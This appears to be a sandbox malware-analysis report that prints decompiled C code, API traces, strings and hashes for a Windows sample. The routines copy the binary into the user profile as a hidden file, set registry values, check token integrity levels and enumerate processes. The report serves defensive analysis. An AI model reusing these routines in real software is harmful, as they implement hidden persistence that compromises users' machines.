Part of subcall function 04001CA0: GetCurrentProcessId.KERNEL32 ref: 04001CEE
Part of subcall function 04001CA0: Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
Part of subcall function 04001CA0: lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
Part of subcall function 04001CA0: lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
Part of subcall function 04001CA0: OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
Part of subcall function 04001CA0: EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
Part of subcall function 04001CA0: GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
Part of subcall function 04001CA0: FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Part of subcall function 04001CA0: CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Part of subcall function 04009D20: GetSystemDirectoryA.KERNEL32 ref: 04009D9A
Part of subcall function 04009D20: GetVolumeInformationA.KERNEL32(?,?,00000103,00000000,00000000,00000000,?,00000063), ref: 04009DDD
Part of subcall function 04009D20: StringFromCLSID.OLE32(00000020,?), ref: 04009EF7

Part of subcall function 04005CD0: lstrlenA.KERNEL32(00000000), ref: 04005CEB
Part of subcall function 04005CD0: CreateFileA.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005D10
Part of subcall function 04005CD0: GetFileSize.KERNEL32(000000FF,00000000), ref: 04005D29
Part of subcall function 04005CD0: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005D45
Part of subcall function 04005CD0: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04005D6D
Part of subcall function 04005CD0: VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 04005D99
Part of subcall function 04005CD0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 04005DA3

lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000207), ref: 0400580A
wnsprintfA.SHLWAPI ref: 0400582F
CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 04005896
ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 040058D0
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04005912
CloseHandle.KERNEL32(000000FF), ref: 0400591C

Strings

USERPROFILE, xrefs: 04005805
%s\%s.exe, xrefs: 0400581C
pigalicapi, xrefs: 040057A9, 04005810

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: File$lstrcat$CloseVirtuallstrlen$CreateProcess$AllocChangeDirectoryFindFirstFreeHandleModuleNameNotificationProcess32ReadSizeSystemlstrcpy$CurrentEnumEnvironmentFromInfoInformationModulesOpenProfileSnapshotStringToolhelp32UsersVariableVersionVolumewnsprintf
String ID: %s\%s.exe$USERPROFILE$pigalicapi
API String ID: 560841407-4090404022
Opcode ID: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction ID: 5a1df65dd39d11d2feffdc598e8508d5089156913625d6b4e9fa29ff03a3d0d3
Opcode Fuzzy Hash: d5d8b7378ef743f007312c818edffbb4ef282e82611c05111bfa373c5cb79892
Instruction Fuzzy Hash: 66515FB4944208BBFB14DF60DC59FEA7774EB44709F048168FA097A2C1D778AA81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 04001120 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 116
stringfilethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 91%

			E04001120(CHAR* _a4, CHAR* _a8, signed int _a12, signed char _a16, void** _a20) {
				struct _SECURITY_ATTRIBUTES* _v8;
				long _v12;
				void* _v16;
				char _v284;
				void* _v288;
				char _v556;
				void* _v560;
				void* _v564;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && lstrlenA(_a4) != 0 && lstrlenA(_a8) != 0) {
					_v12 = 0x104;
					if((_a12 & 0x000000ff) == 0) {
						GetEnvironmentVariableA("USERPROFILE",  &_v284, 0x104);
					} else {
						__imp__GetAllUsersProfileDirectoryA( &_v284,  &_v12);
					}
					wnsprintfA( &_v556, 0x103, "%s\\%s.exe",  &_v284, _a8);
					if(lstrcmpiA(_a4,  &_v556) != 0 && (_a16 & 0x000000ff) == 0) {
						CopyFileA(_a4,  &_v556, 0); // executed
						SetFileAttributesA( &_v556, 6); // executed
						lstrcpyA(_a4,  &_v556);
					}
					_v560 = E040097A0(0x30d);
					_v16 = _v560;
					 *((char*)(_v16 + 0x30c)) = _a12;
					lstrcpyA(_v16,  &_v556);
					lstrcpyA(_v16 + 0x208, _a8);
					_t58 = CreateThread(0, 0, E040012D0, _v16, 0, 0); // executed
					_v288 = _t58;
					if(_v288 == 0) {
						_v564 = _v16;
						E040097C0(_v564);
					} else {
						if(_a20 != 0) {
							 *_a20 = _v288;
						}
						_v8 = 1;
					}
				}
				return _v8;
			}

0x04001129
0x04001134
0x04001168
0x04001175
0x0400119b
0x04001177
0x04001182
0x04001182
0x040011bd
0x040011d9
0x040011f0
0x040011ff
0x04001210
0x04001210
0x04001223
0x0400122f
0x04001238
0x04001249
0x0400125d
0x04001274
0x0400127a
0x04001287
0x040012a6
0x040012b3
0x04001289
0x0400128d
0x04001298
0x04001298
0x0400129a
0x0400129a
0x04001287
0x040012c1

APIs

lstrlenA.KERNEL32(00000000), ref: 04001148
lstrlenA.KERNEL32(00000000), ref: 0400115A
GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182

Part of subcall function 040097C0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 040097CF
Part of subcall function 040097C0: HeapFree.KERNEL32(00000000), ref: 040097D6

GetEnvironmentVariableA.KERNEL32(USERPROFILE,?,00000104), ref: 0400119B
wnsprintfA.SHLWAPI ref: 040011BD
lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
lstrcpyA.KERNEL32(00000104,?), ref: 04001210
lstrcpyA.KERNEL32(00000000,?), ref: 04001249
lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
CreateThread.KERNEL32 ref: 04001274

Strings

%s\%s.exe, xrefs: 040011AC
USERPROFILE, xrefs: 04001196

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: lstrcpy$FileHeaplstrlen$AttributesCopyCreateDirectoryEnvironmentFreeProcessProfileThreadUsersVariablelstrcmpiwnsprintf
String ID: %s\%s.exe$USERPROFILE
API String ID: 1231128424-1744756051
Opcode ID: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction ID: 5a94151192094d4d6073c3e413aca9132142fa07401a96dcdce05a8263d9ef35
Opcode Fuzzy Hash: b85ef1de13e11c0e00b9ed9ca29e0f6effca0754590a52f5089cd6d741d3fe99
Instruction Fuzzy Hash: 2A413675904208ABEB54CFA4D889BDE77B4EF48704F00C295F509AA281D779EA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 040099F0 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 116
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 61%

			E040099F0() {
				intOrPtr _v8;
				char _v9;
				void* _v16;
				char _v1044;
				char _v2068;
				long _v2072;
				void* _v2076;
				void* _v2080;
				char _v2084;
				int _t43;

				_v9 = 0;
				_v8 = 0x400;
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v16) == 0) {
					L12:
					return _v9;
				}
				_v2072 = 0;
				GetTokenInformation(_v16, 1, 0, 0,  &_v2072); // executed
				if(_v2072 >= 0x400) {
					L11:
					CloseHandle(_v16);
					goto L12;
				}
				_v2076 =  &_v1044;
				_t43 = GetTokenInformation(_v16, 1, _v2076, _v2072,  &_v2072); // executed
				if(_t43 == 0) {
					goto L11;
				}
				_v2080 =  &_v2068;
				_v2084 = 0x44;
				__imp__CreateWellKnownSid(0xc, 0, _v2080,  &_v2084);
				if(EqualSid(_v2080,  *_v2076) == 0) {
					__imp__CreateWellKnownSid(0x16, 0, _v2080,  &_v2084);
					if(EqualSid(_v2080,  *_v2076) == 0) {
						__imp__CreateWellKnownSid(0x17, 0, _v2080,  &_v2084);
						if(EqualSid(_v2080,  *_v2076) == 0) {
							__imp__CreateWellKnownSid(0x18, 0, _v2080,  &_v2084);
							if(EqualSid(_v2080,  *_v2076) == 0) {
								goto L11;
							}
							return 1;
						}
						return 1;
					}
					return 1;
				}
				return 1;
			}

0x040099f9
0x040099fd
0x04009a19
0x04009b80
0x00000000
0x04009b80
0x04009a1f
0x04009a3a
0x04009a4a
0x04009b76
0x04009b7a
0x00000000
0x04009b7a
0x04009a56
0x04009a77
0x04009a7f
0x00000000
0x00000000
0x04009a8b
0x04009a91
0x04009aad
0x04009acb
0x04009ae6
0x04009b04
0x04009b1c
0x04009b3a
0x04009b52
0x04009b70
0x00000000
0x00000000
0x00000000
0x04009b72
0x00000000
0x04009b3c
0x00000000
0x04009b06
0x00000000

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
EqualSid.ADVAPI32(?,00000000), ref: 04009AC3
CreateWellKnownSid.ADVAPI32(00000016,00000000,?,00000044), ref: 04009AE6
EqualSid.ADVAPI32(?), ref: 04009AFC
CloseHandle.KERNEL32(?), ref: 04009B7A

Strings

D, xrefs: 04009A91

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Token$CreateEqualInformationKnownProcessWell$CloseCurrentHandleOpen
String ID: D
API String ID: 98007406-2746444292
Opcode ID: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction ID: 7ae4063a6f13a9051a7762c6ae15c07f15253da6e1139fe1377935b2c4657608
Opcode Fuzzy Hash: 9acdad6d6c89bf527d7a7d290df755143e04e7f41d5340071806561b0adaf72d
Instruction Fuzzy Hash: AB41F0B5A042189BEB24DF90CC45FDAB3FDFF48700F04C1E4A549A6181DE74AA81DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04005A00 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 99
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04005A00(intOrPtr _a4, CHAR* _a8, intOrPtr _a12) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				void* _t27;
				void* _t33;
				CHAR* _t35;
				int _t39;
				long _t43;
				CHAR* _t51;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 > 0x10) {
					E04007D20(_t27, "Mvqcsgcuwwini", 0, 0xe);
					lstrcpyA("Mvqcsgcuwwini", "WDefault");
					_t33 = E04005930(_a4 + 0x45b, "Mvqcsgcuwwini", 0xd); // executed
					E04007D20(_t33, _a8, 0, _a12);
					_t35 =  *0x401189c; // 0x400c4e0
					if(lstrlenA(_t35) < _a12) {
						_t51 =  *0x401189c; // 0x400c4e0
						lstrcpyA(_a8, _t51);
						_t39 = lstrlenA(_a8);
						if(_t39 + lstrlenA(?str?) < _a12) {
							lstrcatA(_a8, "Mvqcsgcuwwini");
							_v12 = 0x80000001;
							_v16 = 0;
							_v20 = 0;
							_t43 = RegCreateKeyExA(_v12, _a8, 0, 0, 0, 0x20006, 0,  &_v16,  &_v20); // executed
							if(_t43 != 0) {
								E04007D20(_t43, _a8, 0, _a12);
								lstrcpyA(_a8, "software\\microsoft\\windows\\currentversion\\uninstall");
							} else {
								RegCloseKey(_v16); // executed
							}
							_v8 = lstrlenA(_a8);
						}
					}
				}
				return _v8;
			}

0x04005a07
0x04005a12
0x04005a35
0x04005a47
0x04005a5d
0x04005a6f
0x04005a77
0x04005a86
0x04005a8c
0x04005a97
0x04005aa1
0x04005ab9
0x04005ac8
0x04005ace
0x04005ad5
0x04005adc
0x04005b00
0x04005b08
0x04005b20
0x04005b31
0x04005b0a
0x04005b0e
0x04005b0e
0x04005b41
0x04005b41
0x04005ab9
0x04005a86
0x04005b4b

APIs

lstrcpyA.KERNEL32(Mvqcsgcuwwini,WDefault), ref: 04005A47

Part of subcall function 04005930: CharUpperA.USER32(00000000), ref: 040059E2

lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
lstrlenA.KERNEL32(00000000), ref: 04005AA1
lstrlenA.KERNEL32(Mvqcsgcuwwini), ref: 04005AAE
lstrcatA.KERNEL32(00000000,Mvqcsgcuwwini), ref: 04005AC8
RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
RegCloseKey.KERNEL32(00000000), ref: 04005B0E
lstrcpyA.KERNEL32(00000000,software\microsoft\windows\currentversion\uninstall), ref: 04005B31
lstrlenA.KERNEL32(00000000), ref: 04005B3B

Strings

WDefault, xrefs: 04005A3D
Mvqcsgcuwwini, xrefs: 04005A30, 04005A42, 04005A4F, 04005AA9, 04005ABF
software\microsoft\windows\currentversion\uninstall, xrefs: 04005B28

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: lstrlen$lstrcpy$CharCloseCreateUpperlstrcat
String ID: Mvqcsgcuwwini$WDefault$software\microsoft\windows\currentversion\uninstall
API String ID: 4161867159-611550020
Opcode ID: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction ID: 2f1465acc8a4d9a659e2af8a658b36752d7f83b1b7b92a7dc582af9786930c23
Opcode Fuzzy Hash: 6328766250843c22953127ee7e5734f8e2de0c08094b4a1cb46197edb91ced3c
Instruction Fuzzy Hash: 40310775600208FBEB14DFA4DC49FAA37B9EB44708F04C615FA15BB281D7B8AA50CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04005F30 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 80
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04005F30() {
				char* _v8;
				signed int _v9;
				void* _v16;
				void* _v20;
				char _v284;
				int _v288;
				int _v292;
				char _v324;
				int _v328;
				char* _t27;
				CHAR* _t30;
				long _t33;
				long _t37;

				_v9 = 0;
				_t27 =  *0x40118a0; // 0x4013b88
				_v8 = _t27;
				E04007D20(_t27,  &_v284, 0, 0x104);
				lstrcpyA( &_v284, "pigalicapi");
				_t30 =  *0x4011898; // 0x4013fe2
				lstrcatA( &_v284, _t30);
				_v16 = 0x80000001;
				if(( *0x401435a & 0x000000ff) != 0) {
					_v16 = 0x80000002;
				}
				_v20 = 0;
				_t33 = RegOpenKeyExA(_v16, _v8, 0, 0xf003f,  &_v20); // executed
				if(_t33 == 0) {
					_v292 = 0x20;
					_v288 = 0x20;
					_t37 = RegQueryValueExA(_v20,  &_v284, 0, 0,  &_v324,  &_v288); // executed
					if(_t37 == 0) {
						_v9 = 1;
					}
					_t47 = _v9 & 0x000000ff;
					if((_v9 & 0x000000ff) == 0) {
						_v328 = 0x10;
						E04009BD0(_t47,  &_v324, 0x10);
						RegSetValueExA(_v20,  &_v284, 0, 3,  &_v324, 0x10); // executed
					}
					RegCloseKey(_v20); // executed
				}
				return _v9;
			}

0x04005f39
0x04005f3d
0x04005f42
0x04005f53
0x04005f67
0x04005f6d
0x04005f7a
0x04005f80
0x04005f90
0x04005f92
0x04005f92
0x04005f99
0x04005fb3
0x04005fbb
0x04005fc1
0x04005fcb
0x04005ff2
0x04005ffa
0x04005ffc
0x04005ffc
0x04006000
0x04006006
0x04006008
0x0400601b
0x0400603b
0x0400603b
0x04006045
0x04006045
0x04006051

APIs

lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
RegOpenKeyExA.KERNEL32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
RegSetValueExA.KERNEL32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
RegCloseKey.KERNEL32(00000000), ref: 04006045

Strings

, xrefs: 04005FC1
, xrefs: 04005FCB
pigalicapi, xrefs: 04005F5B

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Value$CloseOpenQuerylstrcatlstrcpy
String ID: $ $pigalicapi
API String ID: 764223185-550099112
Opcode ID: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction ID: d868066335aa3bc34e1d01a835705104c70e08da6b50357c6a08ba3ec109f492
Opcode Fuzzy Hash: 423ae5761b421ea40ff2c1466760ba86f39da5aff24a2289ecb93b8c70e41592
Instruction Fuzzy Hash: 6F3143B194021CABEB14CF90DC45FFEB7B8EB08704F048598EB04B6181D7B96A85CF60

Uniqueness

Uniqueness Score: -1.00%

Function 04004096 Relevance: 15.1, APIs: 10, Instructions: 121
threadsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004096() {
				void _t92;
				void* _t114;
				void* _t161;
				void* _t163;
				void* _t166;

				L0:
				while(1) {
					L0:
					 *((intOrPtr*)(_t161 - 0x38)) =  *((intOrPtr*)(_t161 - 0x38)) + 1;
					if( *((intOrPtr*)(_t161 - 0x38)) >=  *((intOrPtr*)(_t161 + 0x14))) {
						break;
					}
					L2:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000);
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					_t171 =  *(_t161 - 0x34);
					if( *(_t161 - 0x34) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
						 *(_t161 - 0x34) = 0;
					}
					ResetEvent( *(_t161 - 0x10));
					LeaveCriticalSection(_t161 - 0x28);
					_t92 = CreateThread(0, 0, E04004AC0, _t161 - 0x34, 0, 0); // executed
					 *(_t161 - 0x34) = _t92;
					 *(_t161 - 0x64) = E040097A0( ~(0 | _t171 > 0x00000000) |  *(_t161 + 0x18) * 0x00000004);
					 *(_t161 - 0x3c) =  *(_t161 - 0x64);
					E04007D20( *(_t161 - 0x64),  *(_t161 - 0x3c), 0,  *(_t161 + 0x18) << 2);
					_t166 = _t163 + 0x10;
					 *(_t161 - 0x60) = 0;
					L8:
					while( *(_t161 - 0x60) <  *(_t161 + 0x18)) {
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = 0;
						E04007D20( *(_t161 - 0x3c), _t161 - 0x58, 0, 0x1c);
						_t166 = _t166 + 0xc;
						 *((intOrPtr*)(_t161 - 0x40)) = _t161 - 0x34;
						 *((intOrPtr*)(_t161 - 0x44)) =  *((intOrPtr*)(_t161 + 0x10));
						 *(_t161 - 0x58) =  *(_t161 + 8);
						 *(_t161 - 0x50) =  *(_t161 - 0x60) *  *(_t161 - 8);
						if( *(_t161 - 0x60) >=  *(_t161 + 0x18) - 1) {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *((intOrPtr*)(_t161 + 0xc)) - 1;
						} else {
							 *((intOrPtr*)(_t161 - 0x4c)) =  *(_t161 - 0x50) +  *(_t161 - 8) - 1;
						}
						 *(_t161 - 0x48) = CreateEventA(0, 1, 0, 0);
						_t114 = CreateThread(0, 0, E04004BA0, _t161 - 0x58, 0, 0); // executed
						( *(_t161 - 0x3c))[ *(_t161 - 0x60)] = _t114;
						WaitForSingleObject( *(_t161 - 0x48), 0xffffffff);
						FindCloseChangeNotification( *(_t161 - 0x48)); // executed
						 *(_t161 - 0x60) =  *(_t161 - 0x60) + 1;
					}
					WaitForMultipleObjects( *(_t161 + 0x18),  *(_t161 - 0x3c), 1, 0xffffffff);
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x10), 0x2710);
					if( *((intOrPtr*)(_t161 - 0x5c)) == 0) {
						 *(_t161 - 1) = 1;
					}
					 *((intOrPtr*)(_t161 - 0x5c)) = WaitForSingleObject( *(_t161 - 0x34), 0x3e8);
					if( *((intOrPtr*)(_t161 - 0x5c)) != 0) {
						TerminateThread( *(_t161 - 0x34), 0);
					}
					L17:
					EnterCriticalSection(_t161 - 0x28);
					if( *(_t161 - 0x30) != 0) {
						VirtualFree( *(_t161 - 0x30), 0, 0x8000); // executed
						 *(_t161 - 0x30) = 0;
						 *(_t161 - 0x2c) = 0;
					}
					L19:
					LeaveCriticalSection(_t161 - 0x28);
					 *(_t161 - 0x68) =  *(_t161 - 0x3c);
					E040097C0( *(_t161 - 0x68));
					if(( *(_t161 - 1) & 0x000000ff) == 0) {
						L21:
						continue;
					}
					break;
				}
				L22:
				DeleteCriticalSection(_t161 - 0x28);
				return  *(_t161 - 1);
			}

0x04004096
0x04004096
0x04004096
0x0400409c
0x040040a5
0x00000000
0x00000000
0x040040ab
0x040040af
0x040040b9
0x040040c6
0x040040cc
0x040040d3
0x040040d3
0x040040da
0x040040de
0x040040e6
0x040040ec
0x040040ec
0x040040f7
0x04004101
0x04004118
0x0400411e
0x0400413d
0x04004143
0x04004153
0x04004158
0x0400415b
0x00000000
0x0400416d
0x0400417f
0x0400418e
0x04004193
0x04004199
0x0400419f
0x040041a5
0x040041af
0x040041bb
0x040041d2
0x040041bd
0x040041c7
0x040041c7
0x040041e3
0x040041f7
0x04004203
0x0400420c
0x04004216
0x0400416a
0x0400416a
0x0400422d
0x04004242
0x04004249
0x0400424b
0x0400424b
0x0400425e
0x04004265
0x0400426d
0x0400426d
0x04004273
0x04004277
0x04004281
0x0400428e
0x04004294
0x0400429b
0x0400429b
0x040042a2
0x040042a6
0x040042af
0x040042b6
0x040042c4
0x040042c8
0x00000000
0x040042c8
0x00000000
0x040042c4
0x040042cd
0x040042d1
0x040042dd

APIs

EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
ResetEvent.KERNEL32(00000000), ref: 040040F7
LeaveCriticalSection.KERNEL32(?), ref: 04004101
CreateThread.KERNEL32 ref: 04004118
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 040041DD
CreateThread.KERNEL32 ref: 040041F7
WaitForSingleObject.KERNEL32(?,000000FF), ref: 0400420C
FindCloseChangeNotification.KERNEL32(?), ref: 04004216
DeleteCriticalSection.KERNEL32(?,?), ref: 040042D1

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: CreateCriticalSectionThread$Event$ChangeCloseDeleteEnterFindFreeLeaveNotificationObjectResetSingleTerminateVirtualWait
String ID:
API String ID: 371823443-0
Opcode ID: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction ID: 702011c11570e1e92260a3d6b56584955ffb64453fe6a6bb8e3d44d087611259
Opcode Fuzzy Hash: 580c7b9ddcd011ba509f7f8c1de4a743a931a1a6ddda21c3e831cc7138ee1551
Instruction Fuzzy Hash: 0E51D7B5A40308AFEB18DF94D899BDDBBB1FB48704F108219F605BB2C0D774A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 04004510 Relevance: 13.7, APIs: 9, Instructions: 173
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04004510(intOrPtr _a4, intOrPtr _a8) {
				char _v5;
				char _v780;
				void* _v784;
				char _v1308;
				long _v1312;
				void* _v1316;
				long _v1320;
				intOrPtr _v1324;
				intOrPtr _v1328;
				signed int _v1332;
				intOrPtr _v1336;
				intOrPtr _v1340;
				intOrPtr _v1344;
				void* _t90;
				void* _t94;
				int _t97;
				signed char _t101;
				signed char _t114;
				void* _t153;
				void* _t155;
				void* _t156;

				_v5 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L24:
					return _v5;
				} else {
					E04007D20(E04007D20( &_v780,  &_v780, 0, 0x300),  &_v1308, 0, 0x208);
					_t155 = _t153 + 0x18;
					GetModuleFileNameA(0,  &_v1308, 0x208);
					_t90 = CreateFileA( &_v1308, 0x80000000, 7, 0, 3, 0x80, 0); // executed
					_v784 = _t90;
					if(_v784 == 0xffffffff) {
						goto L24;
					}
					_v1312 = GetFileSize(_v784, 0);
					if(_v1312 == 0) {
						L22:
						if(_v784 != 0) {
							CloseHandle(_v784);
						}
						goto L24;
					}
					_t94 = VirtualAlloc(0, _v1312, 0x3000, 4); // executed
					_v1316 = _t94;
					if(_v1316 == 0) {
						goto L22;
					}
					_v1320 = 0;
					_t97 = ReadFile(_v784, _v1316, _v1312,  &_v1320, 0); // executed
					if(_t97 == 0 || _v1320 != _v1312) {
						L20:
						if(_v1316 != 0) {
							VirtualFree(_v1316, 0, 0x8000);
							_v1316 = 0;
						}
						goto L22;
					} else {
						FindCloseChangeNotification(_v784); // executed
						_v784 = 0;
						_t101 = E040047F0(_v1316, _v1312, _a8); // executed
						_t156 = _t155 + 0xc;
						if((_t101 & 0x000000ff) == 0) {
							if(_v1316 != 0) {
								VirtualFree(_v1316, 0, 0x8000); // executed
								_v1316 = 0;
							}
							_v1328 = _a4 +  *((intOrPtr*)(_a4 + 0x3c));
							_v1324 = _v1328 + ( *(_v1328 + 0x14) & 0x0000ffff) + 0x18;
							_v1332 = 0;
							while(_v1332 < ( *(_v1328 + 6) & 0x0000ffff)) {
								_v1336 =  *((intOrPtr*)(_v1324 + 0xc + _v1332 * 0x28)) + _a4;
								if( *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28)) <=  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28))) {
									_v1344 =  *((intOrPtr*)(_v1324 + 0x10 + _v1332 * 0x28));
								} else {
									_v1344 =  *((intOrPtr*)(_v1324 + 8 + _v1332 * 0x28));
								}
								_v1340 = _v1344;
								_t114 = E040047F0(_v1336, _v1340, _a8); // executed
								_t156 = _t156 + 0xc;
								if((_t114 & 0x000000ff) == 0) {
									_v1332 = _v1332 + 1;
									continue;
								} else {
									_v5 = 1;
									goto L20;
								}
							}
							goto L20;
						}
						_v5 = 1;
						goto L20;
					}
				}
			}

0x0400451a
0x04004522
0x040047e6
0x040047ed
0x04004532
